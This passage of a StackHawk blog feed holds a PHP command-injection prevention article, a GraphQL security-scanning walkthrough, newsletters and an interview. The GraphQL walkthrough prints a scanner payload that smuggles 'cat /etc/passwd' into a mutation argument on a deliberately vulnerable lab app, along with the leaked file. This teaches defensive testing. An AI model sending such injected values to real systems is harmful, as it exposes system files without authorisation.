-Rf&lt;/code&gt;&lt;/p&gt;&lt;p&gt;You can likely see the pattern by now: blindly trusting user input is a bad idea.&lt;/p&gt;&lt;p&gt;So now that you know how an attacker might give you a hard time, let’s see what you can do to prevent it from happening.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;How to Fix Command Injection Vulnerabilities&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;As you saw in the previous sections of this article, the problem comes from combining direct shell execution and using unsafe data.&lt;/p&gt;&lt;p&gt;So, in order to prevent this from happening, there are two strategies you might employ:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Refrain from using direct shell execution functions.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Avoid using unsafe data in combination with direct shell execution functions.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h4&gt;&lt;b&gt;Don’t Use Direct Shell Execution Functions&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Whenever possible, you should prefer to use built-in functions rather than OS commands.&lt;/p&gt;&lt;p&gt;For instance, if you need to delete files from the disk, you could use this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;exec(&amp;quot;rm $file&amp;quot;);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Or use this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;unlink($file);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;By using the function &lt;a href=&quot;https://www.php.net/manual/en/function.unlink.php&quot;&gt;&lt;b&gt;unlink&lt;/b&gt;&lt;/a&gt;, you’re effectively eliminating the possibility of someone injecting malicious commands.&lt;/p&gt;&lt;p&gt;PHP has quite a lot of functions that you can use to &lt;i&gt;mask&lt;/i&gt; operating system calls, such as the following:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.php.net/manual/es/function.rmdir.php&quot;&gt;&lt;b&gt;rmdir&lt;/b&gt;&lt;/a&gt;&lt;b&gt; &lt;/b&gt;for deleting a directory&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.php.net/manual/es/function.chmod.php&quot;&gt;&lt;b&gt;chmod&lt;/b&gt;&lt;/a&gt;&lt;b&gt; &lt;/b&gt;for manipulating file permissions&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.php.net/manual/es/function.glob.php&quot;&gt;&lt;b&gt;glob&lt;/b&gt;&lt;/a&gt;&lt;b&gt; &lt;/b&gt;to iterate over the files in a given path&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;And a few more you can find &lt;a href=&quot;https://www.php.net/manual/en/ref.filesystem.php&quot;&gt;here&lt;/a&gt; (just to name those that deal with the file system).&lt;/p&gt;&lt;p&gt;Another interesting side effect of using these functions is the increased portability of your code.&lt;/p&gt;&lt;p&gt;If you use the shell execution functions, the command is interpreted by the operating system itself instead of the PHP interpreter.&lt;/p&gt;&lt;p&gt;This means if you’re writing your code in a Windows environment but the production server is a Linux or similar, things aren’t going to work.&lt;/p&gt;&lt;p&gt;Of course, there will be cases where you need to run specific commands that aren’t part of the PHP core, like a particular binary program or a script you’ve created.&lt;/p&gt;&lt;p&gt;Let’s see how to deal with such situations.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Don’t Use Unsafe Data in Combination With Direct Shell Execution Functions&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;If you absolutely need to use system calls, then you &lt;i&gt;must &lt;/i&gt;use proper validations on your data.&lt;/p&gt;&lt;p&gt;For instance, if you were going to issue a command such as this one:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;You better make sure &lt;b&gt;&lt;code&gt;$targetIP&lt;/code&gt;&lt;/b&gt; is actually an IP address!&lt;/p&gt;&lt;p&gt;In order to perform such a validation, PHP provides a built-in function called &lt;a href=&quot;https://www.php.net/manual/en/function.filter-input.php&quot;&gt;&lt;b&gt;filter_input&lt;/b&gt;&lt;/a&gt;, which you could use like this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Similar functions exist to validate other sources of data (and also, there are several different &lt;a href=&quot;https://www.php.net/manual/en/filter.filters.php&quot;&gt;filter types&lt;/a&gt; you can use to accommodate your particular needs).&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;You can manually scan through your code looking for dangerous code, or you can look into bringing on an automated tool that can be included right into your team’s workflow.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Protect Your Code from Injections&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Today you learned what a command injection attack is, what features a PHP application could have in order to be vulnerable to such an attack, and what to do to disable such a threat in your applications.&lt;/p&gt;&lt;p&gt;Now you have some homework to do!&lt;/p&gt;&lt;p&gt;You can manually scan through your code looking for dangerous code, or you can look into bringing on an automated tool that can be included right into your team’s workflow. One such tool is StackHawk, which can monitor every pull request and give you insights about how to solve them before they hit production.&lt;/p&gt;&lt;p&gt;You can read the details on how to implement it &lt;a href=&quot;https://docs.stackhawk.com/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Mauro Chojrin. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/maurochojrin&quot;&gt;&lt;i&gt;Mauro&lt;/i&gt;&lt;/a&gt;&lt;i&gt; helps PHP developers hone their craft through his trainings, books, workshops, and other tools. He’s been in the IT industry since 1997 and has held roles such as developer, architect, and leader of technical teams. Mauro also likes to write and vlog.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[GraphQL Security: Automated Security Testing of GraphQL Backed Applications]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/automated-graphql-security-testing</guid><category><![CDATA[GraphQL Security]]></category><dc:creator><![CDATA[Adam Baldwin]]></dc:creator><content:encoded>&lt;p&gt;Thrills, however, shouldn’t come from 2am alerts resulting in the binge triaging of production security bugs found in that latest tech stack. Perhaps it’s the reason you’re here. Perhaps you believe, like we do, that bugs are best squashed before deploying to prod. &lt;/p&gt;&lt;p&gt;StackHawk was built to help developers ship secure applications. Existing security testing tools do not work well with modern development paradigms. We’ve built functionality to ensure that modern developers can run security tests simply, including CI integrations, scanning REST API backed applications, and more. &lt;/p&gt;&lt;p&gt;As we work to cover the modern application stack, we were well aware of the black hole for GraphQL security testing. We just released GraphQL scanning support to ensure that you can ship secure GraphQL APIs.&lt;/p&gt;&lt;p&gt;But before we jump into the specifics of the solution and follow up with a demo, let’s do a quick overview of the GraphQL specification. This is a unique space with an interesting set of challenges. &lt;/p&gt;&lt;p&gt;If you’re already well versed in GraphQL and the potential challenges posed by its current state of scan-ability, please feel free to skip ahead to How it Works for a demo and walkthrough. &lt;/p&gt;&lt;p&gt;If you enjoy a little flavor and some additional back story then I welcome you to join me on a brief detour.&lt;/p&gt;&lt;h3&gt;Do you even Graph(QL)?&lt;/h3&gt;&lt;p&gt;Now unless your tech stack has been in a quarantine with the rest of us, you’ve probably seen GraphQL implementations in the wild. If your business is inline with, or already one of the &lt;b&gt;3,026 star adopters&lt;/b&gt; reported in the &lt;a href=&quot;https://landscape.graphql.org/&quot;&gt;GraphQL Landscape&lt;/a&gt;, then you’re probably already building and deploying a &lt;a href=&quot;https://graphql.org/&quot;&gt;GraphQL API&lt;/a&gt; in production today. &lt;/p&gt;&lt;p&gt;Again, being at the forefront of change is always an exciting adventure, but have you taken time to ask yourself…&lt;/p&gt;&lt;p&gt;&lt;i&gt;How secure is my GraphQL API?&lt;/i&gt;&lt;/p&gt;&lt;p&gt;If we take a look at some of the numbers, such as the &lt;a href=&quot;https://www.drupal.org/project/usage/graphql&quot;&gt;GraphQL statistics&lt;/a&gt; report for Drupal customers or this survey on the &lt;a href=&quot;https://www.statista.com/statistics/1083227/worldwide-api-important-technologies/&quot;&gt;most exciting API technologies&lt;/a&gt;, we get a sense of how this new specification continues gaining traction. &lt;/p&gt;&lt;p&gt;A rising popularity of any new technology typically results in a rise in broken implementations. Considering most of these apps are likely to lack proper testing we suddenly have some serious concerns.&lt;/p&gt;&lt;p&gt;While our craft remains the same despite new paradigms, the way in which we express ourselves through our systems will naturally have to be adjusted. This change presents a potential breeding ground for unchecked vulnerabilities on new and existing web apps. &lt;/p&gt;&lt;p&gt;At StackHawk, we believe it is important to simplify and automate security testing for your applications.&lt;/p&gt;&lt;h3&gt;So… it’s like, graphs and stuff, right?&lt;/h3&gt;&lt;p&gt;Indeed. The specification on the surface defines an outline for representing and interfacing with your data… as a graph and stuff.&lt;/p&gt;&lt;p&gt;&lt;i&gt;At its core GraphQL works on the principle that data is&lt;/i&gt; &lt;i&gt;interconnected&lt;/i&gt; &lt;i&gt;and can be effectively represented as vertices on a graph. Most of us will be aware that this means two or more pairs of connected vertices, having one or more edges which may or may not come together to form forests, trees and leaves in a directed, acyclical or cyclical fashion, etc, ad infinitum__…&lt;/i&gt; &lt;i&gt;recursively, and on and on.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;This is all just to say that the designers of GraphQL have brilliantly outlined the capacity for engineers to represent data in pretty much any complex structure desired (or maybe not desired). Anything goes as long as the implementation is within the confines of the specification and meets a few key criteria. &lt;/p&gt;&lt;p&gt;It’s the Wild West of the web!  In fact, if you live in a quiet part of the city on dark summer evenings and draw the blinds, turn down the lights, and listen very carefully, you may just catch the sound of the faint grumblings emitted by backend engineers all over as they beg for mercy from the agony of rearchitecting their RESTful service into the promised land The Graph.&lt;/p&gt;&lt;p&gt;Now, this is dangerously close to falling into some wretched and poorly written essay about graph theory and the GraphQL API, but that would never be nearly as informative as what’s already available at &lt;a href=&quot;https://graphql.org/&quot;&gt;GraphQL&lt;/a&gt; so let’s fast forward to what this all means for the security bottom-line. &lt;/p&gt;&lt;h3&gt;Interest in Introspection&lt;/h3&gt;&lt;p&gt;One key feature of GraphQL that we at StackHawk, and your potential attacker no doubt, will employ in our endeavors to discover and audit routes is one of &lt;i&gt;introspection&lt;/i&gt;.&lt;/p&gt;&lt;p&gt;An introspection query allows a client to request a fully inclusive description of the API in a single query, which can contain all the definitions of types, fields, custom types, primitives, directives, subscriptions and other operations which we can query. &lt;/p&gt;&lt;p&gt;HawkScan gathers this introspection data and quickly begins to determine available routes throughout the app. It then proceeds to generate queries which include fields and dependencies, expected input values, and available parameters to use as variable arguments. We provide the required input types, unwrapped custom types, scalars, enums, lists and so on and insert test values wherever possible. &lt;/p&gt;&lt;p&gt;Along with this automatic discovery and generation of both query and mutation requests, we further provide the ability to tune the scanner with options such as making GET vs POST requests, setting recursion depth on introspection, and setting control over the method of how queries are generated. The latter being configurable for either batch form compost of all fields and types, or individual requests with each field and required type sent one-by-one.&lt;/p&gt;&lt;h3&gt;The Faces May Change, but Security Bugs Remain the Same&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt;SQL Injection&lt;/a&gt; is SQL Injection whether the route exists in a REST endpoint, an input form with sanitization missing, or a field query that takes an input parameter in GraphQL. Remote code injections are possible here, as they have been from the beginning of web applications, and they aren’t going away any time soon. &lt;/p&gt;&lt;p&gt;Security through obscurity is not a viable practice. If you have GraphQL running in your ecosystem, we’ll help you ensure that you ship secure applications.&lt;/p&gt;&lt;p&gt;Let’s see it in action!&lt;/p&gt;&lt;h3&gt;How it Works: Walk through with a Sample App&lt;/h3&gt;&lt;p&gt;Adding security testing to your GraphQL application is easy with StackHawk. We used the very nice &lt;a href=&quot;https://carvesystems.com/news/the-5-most-common-graphql-security-vulnerabilities/&quot;&gt;Vulnerable GraphQL&lt;/a&gt; project from our friends at Carve Systems to spin up an application to test with. Below are details of how to test it with our sample &lt;a href=&quot;https://github.com/stackhawk/vuln-graphql-api&quot;&gt;vulnerable GraphQL application&lt;/a&gt;. This will also serve as an example of how you can set up StackHawk to scan your own app.&lt;/p&gt;&lt;p&gt;We begin by pulling down StackHawk’s vulnerable GraphQL project from Github.&lt;/p&gt;&lt;p&gt;&lt;code&gt;git clone https://github.com/stackhawk/vuln-graphql-api.git&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Choose a listening port for the app and build the project with &lt;code&gt;docker-compose&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Once done, you’ll have a vulnerable GraphQL instance to attack. Now, let’s run the HawkScan, StackHawk’s security scanner&lt;b&gt;.&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Log in to your &lt;a href=&quot;https://auth.stackhawk.com/login&quot;&gt;StackHawk Account&lt;/a&gt; (or sign up if you don’t have an account) and create a new application.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Make sure to provide the &lt;code&gt;http://localhost&lt;/code&gt; and the selected &lt;code&gt;port&lt;/code&gt; that reflects your setup:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If you’ve run through StackHawk’s initial setup during account creation, you should already have a &lt;code&gt;hawk.rc&lt;/code&gt; file saved in an accessible location. This contains the &lt;code&gt;HAWK_API_KEY&lt;/code&gt; that links to your account. If this is missing, simply generate a new key in the Account UI and populate that file.&lt;/p&gt;&lt;p&gt;After creating the new application, download the generated &lt;i&gt;stackhawk.yml&lt;/i&gt; base file and place it in the source’s path. Then, go ahead and edit with your favorite editor (I’m not biased but &lt;i&gt;&lt;b&gt;VIM&lt;/b&gt;&lt;/i&gt;).&lt;/p&gt;&lt;p&gt;Inside we’ll add two new lines under the &lt;code&gt;app&lt;/code&gt; portion of the yaml:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;With that, we’re ready to scan. Initiate the scan with the following:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;HawkScan updates the status and progress on the terminal while it runs. GraphQL focused scans will typically find a lot more routes, so expect some longer runtimes.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Upon completion you’ll see the output of all discovered routes and alerts. We can see in the output of our scan that we’ve found two high severity bugs in this vulnerable GraphQL app. One for &lt;b&gt;SQL Injection&lt;/b&gt; and another for &lt;b&gt;Remote Code Execution.&lt;/b&gt; &lt;/p&gt;&lt;p&gt;These are two nasty bugs that you hopefully will never see in your app. If you have StackHawk running tests on every PR, then you know these bugs will never see the light of prod. &lt;/p&gt;&lt;p&gt;Back in the UI, our results are now available under the Applications view:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Browse the findings and we can now grab the original request query and response and proceed to take action, accordingly.&lt;/p&gt;&lt;p&gt;Let’s have a quick look at the &lt;b&gt;Remote OS Command Injection&lt;/b&gt; alert. &lt;/p&gt;&lt;p&gt;We find our GraphQL query present in the &lt;i&gt;Request&lt;/i&gt; view:&lt;/p&gt;&lt;p&gt;&lt;code&gt;{&amp;quot;query&amp;quot;:&amp;quot;mutation superSecretPrivateMutation($command:String ) { superSecretPrivateMutation(command:$command) { stdout stderr } }&amp;quot;,&amp;quot;variables&amp;quot;:{&amp;quot;command&amp;quot;:&amp;quot;KaaaKaww!&amp;amp;cat /etc/passwd&amp;amp;&amp;quot;}}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;And the response in the &lt;i&gt;Response&lt;/i&gt; view:&lt;/p&gt;&lt;p&gt;&lt;code&gt;{&amp;quot;data&amp;quot;:{&amp;quot;superSecretPrivateMutation&amp;quot;:{&amp;quot;stdout&amp;quot;:&amp;quot;  
root:x:0:0  
:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/n  
root:x:0:0  
:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/spool/mail:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\ngames:x:12:100:games:/usr/games:/sbin/nologin\nftp:x:14:50:FTP User:/var/ftp:/sbin/nologin\nnobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin\ndbus:x:81:81:System message bus:/:/sbin/nologin\nsystemd-coredump:x:999:997:systemd Core Dumper:/:/sbin/nologin\nsystemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin\napp:x:1000:1000::/home/app:/bin/bash\n&amp;quot;,&amp;quot;stderr&amp;quot;:&amp;quot;/bin/sh: KaaaKaww!: command not found\n&amp;quot;}}}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;This would be a frightening sight, indeed, if this had been a production bug!&lt;/p&gt;&lt;p&gt;That concludes this week’s HawkTastic adventure, folks. And remember, make sure to always run StackHawk to help keep your web services fortified, healthy, happy, and most importantly, free of security bugs. Until next time, be sure to scan early and scan often!&lt;/p&gt;&lt;p&gt;KAAKAWW!&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[September Newsletter: Datadog Integration, Onboarding Guide, and More]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/september-newsletter-2020</guid><category><![CDATA[Monthly Newsletters]]></category><category><![CDATA[Integrations]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;h3&gt;The Changelog: New Features to Kaakaww About&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Check out the latest features we’ve added to StackHawk:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Weekly Emails.&lt;/b&gt; Account owners will now get a weekly summary of their StackHawk scans. See what scans ran and a summary of findings so you can stay up to date on the state of your applications. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Datadog Integration.&lt;/b&gt; We are big believers in allowing you to work where you like to work. Now you can see your application security data in Datadog. Check out &lt;a href=&quot;https://docs.stackhawk.com/workflow-integrations/datadog.html&quot;&gt;the docs&lt;/a&gt; to learn more.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Keyboard Navigation.&lt;/b&gt; Move through your scan results faster with keyboard navigation. Who needs a mouse anyways?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Getting Started Improvements.&lt;/b&gt; We’ve been optimizing the onboarding process for new StackHawk users, making it even easier to get up and running with application security testing.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;StackHawk Onboarding Guide&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If you are new to StackHawk or haven’t fully set up your account, we recently released an onboarding guide to guide you through the process of getting started. Getting up and running is easy, with most of our customers getting from signup to successful scan within 20 minutes.&lt;/p&gt;&lt;p&gt;Learn how to set up your configuration, how to run authenticated scans, how to manage findings, and more! And of course, if you ever have any questions, you can reach us at &lt;a href=&quot;mailto:support@stackhawk.com&quot;&gt;support@stackhawk.com&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/onboarding-guide/&quot;&gt;Read the Guide&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Other Happenings: Because We Need to Keep Corporate Busy Somehow&lt;/h3&gt;&lt;p&gt;📽️ &lt;b&gt;Virtual Events&lt;/b&gt;&lt;/p&gt;&lt;p&gt;StackHawk is hitting the road… er, the webinar circuit. Lots of places to come chat, grab some swag (we’ll ship it to you!), and learn more about StackHawk. Swing by our virtual booths at the following events.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://ti.to/netlify/jamstack_virtual_oct?source=stackhawk&quot;&gt;&lt;b&gt;JamstackConf&lt;/b&gt;&lt;/a&gt;: Oct 6-7&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://events.linuxfoundation.org/cdcon/&quot;&gt;&lt;b&gt;cdCon&lt;/b&gt;&lt;/a&gt;: Oct 7-8&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;DevSecOps Days Denver&lt;/b&gt;: Oct 14&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://snykcon-2020-tickets.eventbrite.co.uk/?aff=stackhawk&quot;&gt;&lt;b&gt;SnykCon&lt;/b&gt;&lt;/a&gt;: Oct 21-22&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://apiworld.co/&quot;&gt;&lt;b&gt;API World&lt;/b&gt;&lt;/a&gt;: Oct 26-28&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.developerweek.com/global/conference/enterprise/&quot;&gt;&lt;b&gt;DeveloperWeek Enterprise&lt;/b&gt;&lt;/a&gt;: Nov 10-11&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Open Core Summit&lt;/b&gt;: Nov 4-6&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://events.linuxfoundation.org/kubecon-cloudnativecon-north-america/&quot;&gt;&lt;b&gt;KubeCon&lt;/b&gt;&lt;/a&gt;: Nov 17-20&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;❤️&lt;/b&gt; &lt;b&gt;Give Us Some Love&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Share the goodness of developer-centric application security. We are always grateful for recommendations and referrals! We’d love for you to share about StackHawk with your friends and colleagues. As always, thank you for your support!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[StackHawk March Newsletter: New Features, Financing News, and More]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/march-newsletter-2020</guid><category><![CDATA[Monthly Newsletters]]></category><dc:creator><![CDATA[Ryan Severns]]></dc:creator><content:encoded>&lt;h3&gt;Early Access: One Month In&lt;/h3&gt;&lt;p&gt;We launched Early Access at the beginning of the month while most of our work-lives started changing dramatically. We are so inspired by the early use cases of our customers. Punchline: They went straight for CI/CD, and have HawkScan running on every PR. We can’t wait to make this a reality for more customers. &lt;/p&gt;&lt;p&gt;We know that people are settling into their new normal – for some that means you are spread way too thin, while for others it means there is extra time to try out some new technology. If you are in a position of wanting to test new technology, we’d love to have you sign up.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Sign up for the waitlist at &lt;a href=&quot;https://www.stackhawk.com&quot;&gt;https://stackhawk.com&lt;/a&gt; and fill out your onboarding survey to get bumped to the top of the list.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;Sign Up&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;The Changelog: The Latest to Kaakaww About&lt;/h3&gt;&lt;p&gt;After getting Early Access out, we’ve been working with customers to quickly release new features and squash any bugs users find. Thanks for all of the feedback! Below is a list of what we pushed this month:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Multiple App Support. We launched Early Access with support for a single app in the platform UI, but have quickly followed with support for multiple applications.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;App Links in Terminal. Just ran a scan and want to see the full details on a finding? Jump to your scan results in the app to quickly review details and start fixing identified AppSec bugs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Improved Error Reporting. We find that our users get up and running with initial scans within 15 minutes. Though it’s quick, it’s common to bump into a few config errors along the way. We improved error logs from failed scans of your application to help with initial configuration. Also, failed scans and the associated YAML config are stored in the StackHawk app for reference. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;MOAR CICD. Inspired by how some Early Access customers instrumented HawkScan into their pipelines, we’ve been adding more CI/CD integration documentation. Check it out. &lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;As always, check out our docs for the latest details of how this works.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com&quot;&gt;Read the Docs&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Additional Financing Round&lt;/h3&gt;&lt;p&gt;In March, we also closed a financing round, bringing our total raised since July 2019 to $4.6M. Foundry Group and Costanoa Ventures led the round, with participation from Flybridge and Matchstick. We are grateful to be partnered with a strong group of investors and are excited to keep pushing out more functionality.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.builtincolorado.com/2020/03/18/stackhawk-raises-2m&quot;&gt;Read the News&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Other Happenings: Because We Need to Keep Corporate Busy Somehow&lt;/h3&gt;&lt;h4&gt;📖 Launch of Blog + Latest Content&lt;/h4&gt;&lt;p&gt;We just launched our blog. Go check it out! A few posts to go check out:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/building-an-aws-cross-account-codepipeline-with-gitflow/&quot;&gt;Building an AWS Cross-Account CodePipeline with GitFlow&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/snyk-vs-stackhawk-appsec-tool-comparison/&quot;&gt;Snyk vs. StackHawk: AppSec Tool Comparison&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;❤️ Give Us Some Love&lt;/h4&gt;&lt;p&gt;As an early stage software company, good word of mouth is one of the best things we can get. If you know anyone who should join us in this mission of developer first security, please send them our way. Or we’d love for you to share about our recent Early Access launch on social media. We are grateful for your support!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[CISO Choice Awards Q&A with StackHawk CSO Scott Gerlach]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/ciso-choice-awards-qa-with-scott-gerlach</guid><category><![CDATA[Shifting Security Left]]></category><category><![CDATA[StackHawk News]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;p&gt;At StackHawk we were thrilled to find out we had been selected as the Application Security category winner for the first-ever &lt;a href=&quot;https://securitycurrent.com/ciso-choice-awards/&quot;&gt;CISO Choice Awards&lt;/a&gt;. What makes this award unique is that experienced CISOs select the finalists and winners. &lt;/p&gt;&lt;p&gt;We sat down (well, virtually sat down) with StackHawk CSO and Co-Founder, Scott Gerlach, to talk about what makes this award meaningful for a security leader. Scott offered his insights into what set StackHawk apart from other applicants and what you can expect to see in our future. &lt;/p&gt;&lt;h3&gt;CISO Choice Award Q&amp;amp;A&lt;/h3&gt;&lt;p&gt;&lt;b&gt;Can you tell us a little bit about the CISO Choice Awards and what makes this recognition special?&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Absolutely. The CISO Choice Awards is a new award that looks to identify security companies that are taking on the most important challenges for information security. &lt;/p&gt;&lt;p&gt;There are a TON of awards out there for security. What makes this award different (and why we applied) is that all of the finalists and winners are selected by a Board of CISOs. These CISOs are deeply embedded in the security space and are constantly trying new tools and products. They are facing challenges of how to run and scale a security organization every day. &lt;/p&gt;&lt;p&gt;Having their recognition that StackHawk is addressing Application Security (AppSec) differently is such an honor.&lt;/p&gt;&lt;p&gt;&lt;b&gt;It’s awesome that StackHawk won the Application Security award. What about StackHawk’s platform stood out from other applicants?&lt;/b&gt; &lt;/p&gt;&lt;p&gt;I think it was probably our awesome bird logo that really dazzled the judges  #kaakaww &lt;a href=&quot;https://emojis.wiki/eagle/#:~:text=Eagle%20emoji%20is%20the%20picture,%F0%9F%87%B8%20United%20States%20of%20America.&quot;&gt;?&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Beyond that, I like to think the major standout for StackHawk is how we think about Application Security. As a company we have a different perspective on how AppSec tools should be used and where they should live. &lt;/p&gt;&lt;p&gt;So many tools out there today – and I’ve used and bought a bunch of them – are built for the security team. While there is still the need for security personnel to have tooling like this, having one team as the first and last line of defense for keeping applications secure doesn’t work with how code is developed today. The security teams can’t scale fast enough. Humans will always be the bottleneck in an otherwise automated delivery process. &lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/three-reasons-developers-struggle-with-appsec/&quot;&gt;Empowering development teams&lt;/a&gt; to be able to understand security risks associated with the code they are writing and letting them make decisions is key to driving engagement in AppSec. &lt;/p&gt;&lt;p&gt;Teams that are embedding this approach into their CI/CD pipelines today are ultimately delivering higher quality code faster. AppSec as an afterthought just isn’t cutting it anymore.&lt;/p&gt;&lt;p&gt;&lt;b&gt;How does StackHawk add value to existing capabilities in a typical security ecosystem?&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Almost every organization today knows they should be doing something about Application Security. If you have existing tooling or perhaps a team that is responsible, StackHawk can help strengthen those efforts by integrating AppSec into the development process. Being able to test running applications while you write them and have those same tests as part of the CI/CD pipeline &lt;a href=&quot;https://www.stackhawk.com/blog/application-security-visibility-slack/&quot;&gt;gives developers confidence&lt;/a&gt; that the code they are shipping is secure.&lt;/p&gt;&lt;p&gt;If you don’t have an AppSec program, we are trying to lower that security poverty line. StackHawk has built a tool that lets you know what risks you are taking (perhaps intentionally), and how those risks might affect your tech debt going forward. For too many teams today, security risk is a bucket of 